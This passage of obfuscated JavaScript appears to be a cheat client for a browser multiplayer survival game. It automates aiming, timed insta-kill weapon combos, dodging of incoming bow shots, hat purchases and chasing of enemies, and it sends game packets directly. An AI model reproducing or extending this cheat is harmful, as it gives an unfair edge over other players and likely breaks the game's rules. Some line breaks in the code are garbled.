14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
return {
dir: undefined,
action: 1
};
} else {
if (_0x4a0483 < _0x2a3258.a) {
if (_0x4a0483 >= _0x2a3258.g) {
if (_0x4a0483 >= _0x2a3258.e) {
if (_0x4a0483 >= _0x2a3258.c) {
_0x40b55e(40, 0);
_0x40b55e(10, 1);
if (_0x20bd10.slowOT) {
if (_0x21c5b5.buildIndex != _0x21c5b5.items[1]) {
_0x4635ee(_0x21c5b5.items[1]);
}
} else if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
} else {
_0x40b55e(22, 0);
_0x40b55e(19, 1);
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
}
} else {
_0x40b55e(6, 0);
_0x40b55e(12, 1);
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
}
} else {
_0x6f2b76();
_0x40b55e(11, 1);
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
}
return {
dir: _0x4e7604.aim2 + Math.PI,
action: 0
};
} else if (_0x4a0483 > _0x2a3258.b) {
if (_0x4a0483 <= _0x2a3258.h) {
if (_0x4a0483 <= _0x2a3258.f) {
if (_0x4a0483 <= _0x2a3258.d) {
_0x40b55e(40, 0);
_0x40b55e(9, 1);
if (_0x20bd10.slowOT) {
if (_0x21c5b5.buildIndex != _0x21c5b5.items[1]) {
_0x4635ee(_0x21c5b5.items[1]);
}
} else if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
} else {
_0x40b55e(22, 0);
_0x40b55e(19, 1);
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
}
} else {
_0x40b55e(6, 0);
_0x40b55e(12, 1);
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
}
} else {
_0x6f2b76();
_0x40b55e(11, 1);
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0] || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[[10,
14].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
}
}
return {
dir: _0x4e7604.aim2,
action: 0
};
}
return {
dir: undefined,
action: 0
};
}
} else {
this.ticking = false;
return {
dir: undefined,
action: 0
};
}
};
this.bowMovement = function () {
let _0x5d5a24 = this.gotoGoal(685, 3);
if (_0x5d5a24.action) {
if (_0x21c5b5.reloads[53] == 0 && !this.isTrue) {
this.rangeType("ageInsta");
} else {
_0x4c5fd1("a", _0x5d5a24.dir, 1);
}
} else {
_0x4c5fd1("a", _0x5d5a24.dir, 1);
}
};
this.tickMovement = function () {
const _0x21aead = _0x57e617.filter(_0x46523d => _0x46523d.trap &&
_0x46523d.active).sort((_0x528a3f, _0x15b7cb) => _0x4cedba.getDist(_0x528a3f,
_0x4e7604, 0, 2) - _0x4cedba.getDist(_0x15b7cb, _0x4e7604, 0, 2)).find(_0x380462 =>
{
const _0x493fcd = Math.hypot(_0x380462.y - _0x4e7604.y2, _0x380462.x
- _0x4e7604.x2);
return _0x380462 !== _0x21c5b5 && (_0x21c5b5.sid ===
_0x380462.owner.sid || _0x36621b(_0x380462.owner.sid)) && _0x493fcd <= 50;
});
let _0x1d63fb = this.gotoGoal([10, 14].includes(_0x21c5b5.weapons[1])
&& _0x21c5b5.y2 > _0x124d71.snowBiomeTop ? 200 : _0x21c5b5.weapons[1] == 15 ? 210 :
_0x21c5b5.y2 <= _0x124d71.snowBiomeTop ? [10, 14].includes(_0x21c5b5.weapons[1]) ?
230 : 225 : 235, 3);
if (_0x1d63fb.action) {
if ((![6, 22].includes(_0x4e7604.skinIndex) || [6,
22].includes(_0x4e7604.skinIndex) && _0x21aead) && _0x21c5b5.reloads[53] == 0 && !
this.isTrue) {
if ([10, 14].includes(_0x21c5b5.weapons[1]) && _0x21c5b5.y2 >
_0x124d71.snowBiomeTop || _0x21c5b5.weapons[1] == 15) {
this.oneTickType();
} else {
this.threeOneTickType();
}
if ([6, 22].includes(_0x4e7604.skinIndex) && _0x21aead) ;
} else {
_0x4c5fd1("a", _0x1d63fb.dir, 1);
}
} else {
_0x4c5fd1("a", _0x1d63fb.dir, 1);
}
};
this.kmTickMovement = function () {
let _0x112587 = this.gotoGoal(240, 3);
if (_0x112587.action) {
if (_0x4e7604.skinIndex != 22 && _0x21c5b5.reloads[53] == 0 && !
this.isTrue && (_0x450873.tick - _0x4e7604.poisonTick) % _0x124d71.serverUpdateRate
== 8) {
this.kmTickType();
} else {
_0x4c5fd1("a", _0x112587.dir, 1);
}
} else {
_0x4c5fd1("a", _0x112587.dir, 1);
}
};
this.boostTickMovement = function () {
let _0xa8a21 = _0x21c5b5.weapons[1] == 9 ? 350 : _0x21c5b5.weapons[1]
== 12 ? 365 : _0x21c5b5.weapons[1] == 13 ? 370 : _0x21c5b5.weapons[1] == 15 ? 350 :
355;
let _0x38441f = _0x21c5b5.weapons[1] == 9 ? 2 : _0x21c5b5.weapons[1] ==
12 ? 1.5 : _0x21c5b5.weapons[1] == 13 ? 1.5 : _0x21c5b5.weapons[1] == 15 ? 2 : 3;
let _0x53b94b = this.gotoGoal(_0xa8a21, _0x38441f);
if (_0x53b94b.action) {
if (_0x21c5b5.reloads[53] == 0 && !this.isTrue) {
this.boostTickType();
} else {
_0x4c5fd1("a", _0x53b94b.dir, 1);
}
} else {
_0x4c5fd1("a", _0x53b94b.dir, 1);
}
};
this.perfCheck = function (_0x17a3db, _0x292724) {
if (_0x292724.weaponIndex == 11 &&
_0x4cedba.getAngleDist(_0x292724.aim2 + Math.PI, _0x292724.d2) <=
_0x124d71.shieldAngle) {
return false;
}
if (![9, 12, 13, 15].includes(_0x21c5b5.weapons[1])) {
return true;
}
let _0x2ea2b6 = {
x: _0x292724.x2 + Math.cos(_0x292724.aim2 + Math.PI) * 70,
y: _0x292724.y2 + Math.sin(_0x292724.aim2 + Math.PI) * 70
};
if (_0x4cedba.lineInRect(_0x17a3db.x2 - _0x17a3db.scale, _0x17a3db.y2 -
_0x17a3db.scale, _0x17a3db.x2 + _0x17a3db.scale, _0x17a3db.y2 + _0x17a3db.scale,
_0x2ea2b6.x, _0x2ea2b6.y, _0x2ea2b6.x, _0x2ea2b6.y)) {
return true;
}
let _0xc2ef25 = _0x18eaf3.filter(_0x362409 =>
_0x362409.visible).find(_0x13cb3e => {
if (_0x4cedba.lineInRect(_0x13cb3e.x2 - _0x13cb3e.scale, _0x13cb3e.y2
- _0x13cb3e.scale, _0x13cb3e.x2 + _0x13cb3e.scale, _0x13cb3e.y2 + _0x13cb3e.scale,
_0x2ea2b6.x, _0x2ea2b6.y, _0x2ea2b6.x, _0x2ea2b6.y)) {
return true;
}
});
if (_0xc2ef25) {
return false;
}
_0xc2ef25 = _0x57e617.filter(_0x158918 =>
_0x158918.active).find(_0x188c54 => {
let _0xeef0a1 = _0x188c54.getScale();
if (!_0x188c54.ignoreCollision && _0x4cedba.lineInRect(_0x188c54.x -
_0xeef0a1, _0x188c54.y - _0xeef0a1, _0x188c54.x + _0xeef0a1, _0x188c54.y +
_0xeef0a1, _0x2ea2b6.x, _0x2ea2b6.y, _0x2ea2b6.x, _0x2ea2b6.y)) {
return true;
}
});
if (_0xc2ef25) {
return false;
}
return true;
};
}
}
;
class _0x565517 {
constructor(_0x18b12a, _0x49e7c4) {
this.hat = function () {
_0x18b12a.forEach(_0x3141e9 => {
let _0x1cc1c0 = _0x65f08(_0x5db0d5, _0x3141e9);
if (_0x1cc1c0 && !_0x21c5b5.skins[_0x3141e9] && _0x21c5b5.points >=
_0x1cc1c0.price) {
_0x4c5fd1("c", 1, _0x3141e9, 0);
}
});
};
this.acc = function () {
_0x49e7c4.forEach(_0x71d00 => {
let _0x67e550 = _0x65f08(_0x55466c, _0x71d00);
if (_0x67e550 && !_0x21c5b5.tails[_0x71d00] && _0x21c5b5.points >=
_0x67e550.price) {
_0x4c5fd1("c", 1, _0x71d00, 1);
}
});
};
}
}
;
class _0x1b44e8 {
constructor() {
this.sb = function (_0x2b9974) {
_0x2b9974(3);
_0x2b9974(17);
_0x2b9974(31);
_0x2b9974(23);
_0x2b9974(9);
_0x2b9974(38);
};
this.kh = function (_0xc8f334) {
_0xc8f334(3);
_0xc8f334(17);
_0xc8f334(31);
_0xc8f334(23);
_0xc8f334(10);
_0xc8f334(38);
_0xc8f334(4);
_0xc8f334(25);
};
this.pb = function (_0x350788) {
_0x350788(5);
_0x350788(17);
_0x350788(32);
_0x350788(23);
_0x350788(9);
_0x350788(38);
};
this.ph = function (_0x2f39c9) {
_0x2f39c9(5);
_0x2f39c9(17);
_0x2f39c9(32);
_0x2f39c9(23);
_0x2f39c9(10);
_0x2f39c9(38);
_0x2f39c9(28);
_0x2f39c9(25);
};
this.db = function (_0x46349e) {
_0x46349e(7);
_0x46349e(17);
_0x46349e(31);
_0x46349e(23);
_0x46349e(9);
_0x46349e(34);
};
this.km = function (_0x3f7ce9) {
_0x3f7ce9(7);
_0x3f7ce9(17);
_0x3f7ce9(31);
_0x3f7ce9(23);
_0x3f7ce9(10);
_0x3f7ce9(38);
_0x3f7ce9(4);
_0x3f7ce9(15);
};
}
}
;
class _0x36b62d {
constructor(_0x3aaea8) {
this.calcDmg = function (_0x1bc42a, _0x1577a5) {
return _0x1bc42a * _0x1577a5;
};
this.getAllDamage = function (_0x34ec0f) {
return [this.calcDmg(_0x34ec0f, 0.75), _0x34ec0f,
this.calcDmg(_0x34ec0f, 1.125), this.calcDmg(_0x34ec0f, 1.5)];
};
this.weapons = [];
for (let _0x5a884c = 0; _0x5a884c < _0x3aaea8.weapons.length; _0x5a884c+
+) {
let _0x8af7a7 = _0x3aaea8.weapons[_0x5a884c];
let _0x167fff = _0x8af7a7.name.split(" ").length <= 1 ?
_0x8af7a7.name : _0x8af7a7.name.split(" ")[0] + "_" + _0x8af7a7.name.split(" ")[1];
this.weapons.push(this.getAllDamage(_0x5a884c > 8 ? _0x8af7a7.Pdmg :
_0x8af7a7.dmg));
this[_0x167fff] = this.weapons[_0x5a884c];
}
}
}
let _0x2d52f7 = [];
let _0x4cedba = new _0x16ee8c();
let _0x4b879d = new _0x4fd03a();
let _0x31b87c = new _0x13d197(_0x45f039, _0x57e617, _0x4cedba, _0x124d71);
let _0x4eaab5 = new _0x2df03c();
let _0x5db0d5 = _0x4eaab5.hats;
let _0x55466c = _0x4eaab5.accessories;
let _0x2ca08d = new _0x4eac82(_0x297068, _0x2033cb, _0x119a04, _0x18eaf3,
_0x31b87c, _0x4b879d, _0x124d71, _0x4cedba);
let _0x1a407b = new _0x592b9b(_0x18eaf3, _0x589c3f, _0x119a04, _0x4b879d,
null, _0x124d71, _0x4cedba);
let _0x376c55 = new _0x52f3e0();
let _0x1933cc = new _0x1dbe47(_0x4cedba, _0x4b879d);
let _0x37a646 = new _0x4f5aae();
let _0x5a4d10 = new _0x565517([15, 31, 6, 7, 22, 12, 53, 20, 40], [11, 13,
19, 18, 21]);
let _0x3cdff8 = new _0x1b44e8();
let _0x3bc527;
let _0x19f2f1;
let _0x370e6a = {};
let _0x1f8ce6 = [];
let _0x3c5fba;
let _0x12cb85 = [];
let _0x2daa79 = 0;
let _0x543610 = [];
let _0x3d0fac = {
active: false,
grid: 40,
scale: 1440,
x: 14400,
y: 14400,
chaseNear: false,
array: [],
lastX: this.grid / 2,
lastY: this.grid / 2
};
function _0x52ebe0(_0x573d17) {
_0x4c5fd1("6", _0x573d17.slice(0, 30));
}
let _0x2dfd5f = [];
function _0x21ea8e(_0x3fbfd8, _0x26e0e7, _0x3a8ded, _0x3ddaef, _0x534050,
_0x84e199, _0x13e270, _0x33fad2) {
let _0x14a7bc = _0x84e199 == 0 ? 9 : _0x84e199 == 2 ? 12 : _0x84e199 == 3 ?
13 : _0x84e199 == 5 && 15;
let _0x3e670b = _0x124d71.playerScale * 2;
let _0x49c783 = {
x: _0x84e199 == 1 ? _0x3fbfd8 : _0x3fbfd8 - _0x3e670b *
Math.cos(_0x3a8ded),
y: _0x84e199 == 1 ? _0x26e0e7 : _0x26e0e7 - _0x3e670b *
Math.sin(_0x3a8ded)
};
let _0x16b748 = _0x119a04.filter(_0x31f665 => _0x31f665.visible &&
_0x4cedba.getDist(_0x49c783, _0x31f665, 0, 2) <= _0x31f665.scale).sort(function
(_0x2bfae9, _0x278821) {
return _0x4cedba.getDist(_0x49c783, _0x2bfae9, 0, 2) -
_0x4cedba.getDist(_0x49c783, _0x278821, 0, 2);
})[0];
if (_0x16b748) {
if (_0x84e199 == 1) {
_0x16b748.shooting[53] = 1;
} else {
_0x16b748.shootIndex = _0x14a7bc;
_0x16b748.shooting[1] = 1;
_0x5adcfc(_0x16b748, _0x3a8ded, _0x3ddaef, _0x534050, _0x84e199,
_0x14a7bc);
}
}
}
let _0x3e371d = 0;
function _0x5adcfc(_0x2841ae, _0x373045, _0x41e129, _0x43655f, _0x305351,
_0x33544f) {
if (!_0x2841ae.isTeam(_0x21c5b5)) {
_0x4ff55e = _0x4cedba.getDirect(_0x21c5b5, _0x2841ae, 2, 2);
if (_0x4cedba.getAngleDist(_0x4ff55e, _0x373045) <= 0.2) {
_0x2841ae.bowThreat[_0x33544f]++;
if (_0x305351 == 5) {
_0x3e371d++;
}
setTimeout(() => {
_0x2841ae.bowThreat[_0x33544f]--;
if (_0x305351 == 5) {
_0x3e371d--;
}
}, _0x41e129 / _0x43655f);
if (_0x2841ae.bowThreat[9] >= 1 && (_0x2841ae.bowThreat[12] >= 1 ||
_0x2841ae.bowThreat[15] >= 1)) {
_0x458902(1, _0x2841ae.aim2);
_0x8f1613.anti0Tick = 4;
if (!_0x8f1613.antiSync) {
_0x229ae3.send("6", "wow");
_0x2ab49c(4);
_0x4c5fd1("a", _0x2841ae.aim2 + 3.141592653589793 / 2, 1);
_0x450873.tickBase(() => {
_0x4c5fd1("a", undefined, 1);
}, 2);
}
} else if (_0x3e371d >= 2) {
_0x229ae3.send("6", "bruhhhh");
_0x458902(1, _0x2841ae.aim2);
_0x4c5fd1("a", _0x2841ae.aim2 + 3.141592653589793 / 2, 1);
_0x8f1613.anti0Tick = 4;
_0x3d927d();
_0x450873.tickBase(() => {
_0x4c5fd1("a", undefined, 1);
}, 4);
if (!_0x8f1613.antiSync) {
_0x2ab49c(4);
}
}
}
}
}
function _0xab5116(_0x44d909, _0x354622, _0x51608d) {
if (_0x21c5b5 && _0x44d909) {
_0x4cedba.removeAllChildren(_0x2306ce);
_0x2306ce.classList.add("visible");
_0x4cedba.generateElement({
id: "itemInfoName",
text: _0x4cedba.capitalizeFirst(_0x44d909.name),
parent: _0x2306ce
});
_0x4cedba.generateElement({
id: "itemInfoDesc",
text: _0x44d909.desc,
parent: _0x2306ce
});
if (_0x51608d) {} else if (_0x354622) {
_0x4cedba.generateElement({
class: "itemInfoReq",
text: !_0x44d909.type ? "primary" : "secondary",
parent: _0x2306ce
});
} else {
for (let _0x46691f = 0; _0x46691f < _0x44d909.req.length; _0x46691f +=
2) {
_0x4cedba.generateElement({
class: "itemInfoReq",
html: _0x44d909.req[_0x46691f] + "<span class='itemInfoReqVal'> x"
+ _0x44d909.req[_0x46691f + 1] + "</span>",
parent: _0x2306ce
});
}
if (_0x44d909.group.limit) {
_0x4cedba.generateElement({
class: "itemInfoLmt",
text: (_0x21c5b5.itemCounts[_0x44d909.group.id] || 0) + "/" +
(_0x124d71.isSandbox ? 99 : _0x44d909.group.limit),
parent: _0x2306ce
});
}
}
} else {
_0x2306ce.classList.remove("visible");
}
}
window.addEventListener("resize", _0x4cedba.checkTrusted(_0x426379));
function _0x426379() {
_0x5048c4 = window.innerWidth;
_0xeeaf5 = window.innerHeight;
let _0x28588f = Math.max(_0x5048c4 / _0x2c4533, _0xeeaf5 / _0xef4b05) *
_0x5f506a;
_0x238a9e.width = _0x5048c4 * _0x5f506a;
_0x238a9e.height = _0xeeaf5 * _0x5f506a;
_0x238a9e.style.width = _0x5048c4 + "px";
_0x238a9e.style.height = _0xeeaf5 + "px";
_0x4390c3.setTransform(_0x28588f, 0, 0, _0x28588f, (_0x5048c4 * _0x5f506a -
_0x2c4533 * _0x28588f) / 2, (_0xeeaf5 * _0x5f506a - _0xef4b05 * _0x28588f) / 2);
}
_0x426379();
var _0x744996;
const _0x1069ff = document.getElementById("touch-controls-fullscreen");
_0x1069ff.style.display = "block";
_0x1069ff.addEventListener("mousemove", _0x47f7a4, false);
function _0x47f7a4(_0x165fa3) {
_0x5d2b32 = _0x165fa3.clientX;
_0x166d71 = _0x165fa3.clientY;
}
let _0x1fd2aa = {
left: false,
middle: false,
right: false
};
_0x1069ff.addEventListener("mousedown", _0x285ee3, false);
function _0x285ee3(_0x28e3b8) {
if (_0x19c326 != 1) {
_0x19c326 = 1;
if (_0x28e3b8.button == 0) {
_0x1fd2aa.left = true;
} else if (_0x28e3b8.button == 1 || _0x28e3b8.key === "b") {
_0x1fd2aa.middle = true;
} else if (_0x28e3b8.button == 2) {
_0x1fd2aa.right = true;
}
}
}
_0x1069ff.addEventListener("mouseup", _0x4cedba.checkTrusted(_0x2377a3));
function _0x2377a3(_0x59a2fc) {
if (_0x19c326 != 0) {
_0x19c326 = 0;
if (_0x59a2fc.button == 0) {
_0x1fd2aa.left = false;
} else if (_0x59a2fc.button == 1 || _0x59a2fc.key === "b") {
_0x1fd2aa.middle = false;
} else if (_0x59a2fc.button == 2) {
_0x1fd2aa.right = false;
}
}
}
_0x1069ff.addEventListener("wheel", _0x4faf35, false);
let _0x2deb19 = 1;
function _0x4faf35(_0x268ea5) {
if (_0x268ea5.deltaY < 0) {
_0x2deb19 -= 0.05;
_0x2c4533 = _0x124d71.maxScreenWidth * _0x2deb19;
_0xef4b05 = _0x124d71.maxScreenHeight * _0x2deb19;
_0x426379();
} else {
_0x2deb19 += 0.05;
_0x2c4533 = _0x124d71.maxScreenWidth * _0x2deb19;
_0xef4b05 = _0x124d71.maxScreenHeight * _0x2deb19;
_0x426379();
}
}
function _0x357bfa() {
let _0x43e6aa = 0;
let _0xad3dca = 0;
for (let _0x30a34d in _0x714de2) {
let _0x6801c1 = _0x714de2[_0x30a34d];
_0x43e6aa += !!_0x30a35d[_0x30a34d] * _0x6801c1[0];
_0xad3dca += !!_0x30a35d[_0x30a34d] * _0x6801c1[1];
}
if (_0x43e6aa == 0 && _0xad3dca == 0) {
return undefined;
} else {
return Math.atan2(_0xad3dca, _0x43e6aa);
}
}
function _0x19c336() {
if (!_0x21c5b5) {
return 0;
}
if (!_0x21c5b5.lockDir) {
_0x4fd68a = Math.atan2(_0x166d71 - _0xeeaf5 / 2, _0x5d2b32 - _0x5048c4 /
2);
}
return _0x4fd68a || 0;
}
function _0x5e0191(_0x2a02f6) {
if (_0x2a02f6) {
if (!_0x21c5b5) {
return "0";
}
if (_0x8f1613.autoAim || (_0x1fd2aa.left || _0x4f4659 && _0x4e7604.dist2
<= _0x4b879d.weapons[_0x21c5b5.weapons[0]].range + _0x4e7604.scale * 1.8 && !
_0x1933cc.inTrap) && _0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = getEl("weaponGrind").checked ? "getSafeDir()" :
_0x462a20.length ? _0x8f1613.revAim ? "(near.aim2 + Math.PI)" : "near.aim2" :
"getSafeDir()";
} else if (_0x1fd2aa.right && _0x21c5b5.reloads[_0x21c5b5.weapons[1] ==
10 ? _0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = "getSafeDir()";
} else if (_0x1933cc.inTrap && _0x21c5b5.reloads[_0x1933cc.notFast() ?
_0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = "traps.aim";
} else if (!_0x21c5b5.lockDir) {
if (_0x20bd10.noDir) {
return "undefined";
}
_0x4fd68a = "getSafeDir()";
}
return _0x4fd68a;
} else {
if (!_0x21c5b5) {
return 0;
}
if (_0x8f1613.autoAim || (_0x1fd2aa.left || _0x4f4659 && _0x4e7604.dist2
<= _0x4b879d.weapons[_0x21c5b5.weapons[0]].range + _0x4e7604.scale * 1.8 && !
_0x1933cc.inTrap) && _0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = getEl("weaponGrind").checked ? _0x19c336() :
_0x462a20.length ? _0x8f1613.revAim ? _0x4e7604.aim2 + Math.PI : _0x4e7604.aim2 :
_0x19c336();
} else if (_0x1fd2aa.right && _0x21c5b5.reloads[_0x21c5b5.weapons[1] ==
10 ? _0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = _0x19c336();
} else if (_0x1933cc.inTrap && _0x21c5b5.reloads[_0x1933cc.notFast() ?
_0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = _0x1933cc.aim;
} else if (!_0x21c5b5.lockDir) {
if (_0x20bd10.noDir) {
return undefined;
}
_0x4fd68a = _0x19c336();
}
return _0x4fd68a || 0;
}
}
function _0x7a804b() {
if (!_0x21c5b5) {
return 0;
}
if (_0x8f1613.autoAim || (_0x1fd2aa.left || _0x4f4659 && _0x4e7604.dist2 <=
_0x4b879d.weapons[_0x21c5b5.weapons[0]].range + _0x4e7604.scale * 1.8 && !
_0x1933cc.inTrap) && _0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = getEl("weaponGrind").checked ? _0x19c336() : _0x462a20.length
? _0x8f1613.revAim ? _0x4e7604.aim2 + Math.PI : _0x4e7604.aim2 : _0x19c336();
} else if (_0x1fd2aa.right && _0x21c5b5.reloads[_0x21c5b5.weapons[1] ==
10 ? _0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = _0x19c336();
} else if (_0x1933cc.inTrap && _0x21c5b5.reloads[_0x1933cc.notFast() ?
_0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0) {
_0x4fd68a = _0x1933cc.aim;
} else if (!_0x21c5b5.lockDir) {
_0x4fd68a = _0x19c336();
}
return _0x4fd68a || 0;
}
function _0x469341() {
return _0x3a6b5f.style.display != "block" && _0x52be5e.style.display !=
"block" && !_0x2091c4;
}
function _0x5b4d90() {
if (_0x55ea78.style.display != "none") {
_0x52be5e.style.display = "none";
if (_0x293841.value != "") {
let _0x66ea7b = function (_0x2333c3) {
return {
found: _0x2333c3.startsWith("/") &&
_0x308eab[_0x2333c3.slice(1).split(" ")[0]],
fv: _0x308eab[_0x2333c3.slice(1).split(" ")[0]]
};
};
let _0x4da14e = _0x66ea7b(_0x293841.value);
if (_0x4da14e.found) {
if (typeof _0x4da14e.fv.action === "function") {
_0x4da14e.fv.action(_0x293841.value);
}
} else {
_0x52ebe0(_0x293841.value);
}
_0x293841.value = "";
_0x293841.blur();
} else if (_0x2091c4) {
_0x293841.blur();
} else {
_0x293841.focus();
}
}
}
let _0x1ddd76 = false;
function _0x36fc94(_0x3611c4) {
let _0x2c24ca = _0x3611c4.which || _0x3611c4.keyCode || 0;
if (_0x21c5b5 && _0x21c5b5.alive && _0x469341()) {
if (!_0x30a35d[_0x2c24ca]) {
_0x30a35d[_0x2c24ca] = 1;
_0x217f3c[_0x3611c4.key] = 1;
if (_0x2c24ca == 27) {
_0x2ed994 = !_0x2ed994;
$("#menuDiv").toggle();
$("#menuChatDiv").toggle();
} else if (_0x2c24ca == 69) {
_0x5cea41();
} else if (_0x2c24ca == 67) {
_0x3f5e0a();
} else if (_0x21c5b5.weapons[_0x2c24ca - 49] != undefined) {
_0x21c5b5.weaponCode = _0x21c5b5.weapons[_0x2c24ca - 49];
} else if (_0x714de2[_0x2c24ca]) {
_0x42a8e6();
} else if (_0x3611c4.key == "m") {
_0x54b26c.placeSpawnPads = !_0x54b26c.placeSpawnPads;
} else if (_0x3611c4.key == "b") {
_0x1fd2aa.middle = true;
} else if (_0x3611c4.key == "g") {
_0x58eede();
} else if (_0x3611c4.key == "z") {
_0x54b26c.place = !_0x54b26c.place;
} else if (_0x3611c4.key == "l") {
_0x1ddd76 = !_0x1ddd76;
if (_0x1ddd76) {
_0x3d0fac.active = true;
_0x3d0fac.chaseNear = true;
} else {
_0x3d0fac.active = false;
_0x3d0fac.chaseNear = false;
}
} else if (_0x3611c4.key === "x") {
var _0x395027 = document.getElementById("musketSync");
if (_0x395027 && _0x395027.checked) {
_0x4c5fd1("6", "ASHGDF^%EUARD$%Y^R%AYTDSG^FT^&");
}
} else if (_0x3611c4.key == "Z") {
if (typeof window.debug == "function") {
window.debug();
}
} else if (_0x2c24ca == 32) {
_0x4c5fd1("d", 1, _0x19c336(), 1);
_0x4c5fd1("d", 0, _0x19c336(), 1);
} else if (_0x3611c4.key == ",") {
_0x21c5b5.sync = true;
}
}
}
}
addEventListener("keydown", _0x4cedba.checkTrusted(_0x36fc94));
function _0x2bdf0e(_0x42f5b9) {
if (_0x21c5b5 && _0x21c5b5.alive) {
let _0x266967 = _0x42f5b9.which || _0x42f5b9.keyCode || 0;
if (_0x266967 == 13) {} else if (_0x469341()) {
if (_0x30a35d[_0x266967]) {
_0x30a35d[_0x266967] = 0;
_0x217f3c[_0x42f5b9.key] = 0;
if (_0x714de2[_0x266967]) {
_0x42a8e6();
} else if (_0x42f5b9.key == ",") {
_0x21c5b5.sync = false;
} else if (_0x42f5b9.key == "b") {
_0x1fd2aa.middle = false;
}
}
}
}
}
window.addEventListener("keyup", _0x4cedba.checkTrusted(_0x2bdf0e));
function _0x42a8e6() {
let _0x559f60 = _0x357bfa();
if (_0x8842b7 == undefined || _0x559f60 == undefined || Math.abs(_0x559f60
- _0x8842b7) > 0.3) {
if (!_0x8f1613.autoPush) {
_0x4c5fd1("a", _0x559f60, 1);
}
_0x8842b7 = _0x559f60;
}
}
function _0x4e7d65() {}
_0x4e7d65();
function _0x42b669(_0xfaea88) {
return (_0x21c5b5.scale + _0xfaea88.getScale()) / (_0x21c5b5.maxSpeed *
_0x4b879d.weapons[_0x21c5b5.weaponIndex].spdMult) + (_0xfaea88.dmg && !
_0xfaea88.isTeamObject(_0x21c5b5) ? 35 : 0);
if (_0xfaea88.colDiv == 0.5) {
return _0xfaea88.scale * _0xfaea88.colDiv;
} else if (!_0xfaea88.isTeamObject(_0x21c5b5) && _0xfaea88.dmg) {
return _0xfaea88.scale + _0x21c5b5.scale;
} else if (_0xfaea88.isTeamObject(_0x21c5b5) && _0xfaea88.trap) {
return 0;
} else {
return _0xfaea88.scale;
}
}
function _0x2a19b2() {
let _0x28334f = _0x57e617.filter(_0x1c8adb => _0x21c5b5.canSee(_0x1c8adb)
&& _0x1c8adb.active);
for (let _0x2d5fce = 0; _0x2d5fce < _0x3d0fac.grid; _0x2d5fce++) {
_0x543610[_0x2d5fce] = [];
for (let _0x32606b = 0; _0x32606b < _0x3d0fac.grid; _0x32606b++) {
let _0x5c3bef = {
x: _0x21c5b5.x2 - _0x3d0fac.scale / 2 + _0x3d0fac.scale /
_0x3d0fac.grid * _0x32606b,
y: _0x21c5b5.y2 - _0x3d0fac.scale / 2 + _0x3d0fac.scale /
_0x3d0fac.grid * _0x2d5fce
};
if (_0x4cedba.getDist(_0x3d0fac.chaseNear ? _0x4e7604 : _0x3d0fac,
_0x5c3bef, _0x3d0fac.chaseNear ? 2 : 0, 0) <= (_0x3d0fac.chaseNear ? 35 : 60)) {
_0x3d0fac.lastX = _0x32606b;
_0x3d0fac.lastY = _0x2d5fce;
_0x543610[_0x2d5fce][_0x32606b] = 0;
continue;
}
let _0x5705e2 = _0x28334f.find(_0x4fca5d =>
_0x4cedba.getDist(_0x4fca5d, _0x5c3bef, 0, 0) <= _0x42b669(_0x4fca5d));
if (_0x5705e2) {
if (_0x5705e2.trap) {
_0x543610[_0x2d5fce][_0x32606b] = 0;
continue;
}
_0x543610[_0x2d5fce][_0x32606b] = 1;
} else {
_0x543610[_0x2d5fce][_0x32606b] = 0;
}
}
}
}
function _0x53c533() {
_0x543610 = [];
_0x2a19b2();
}
function _0x31f39f() {
_0x3d0fac.scale = _0x124d71.maxScreenWidth / 2 * 1.3;
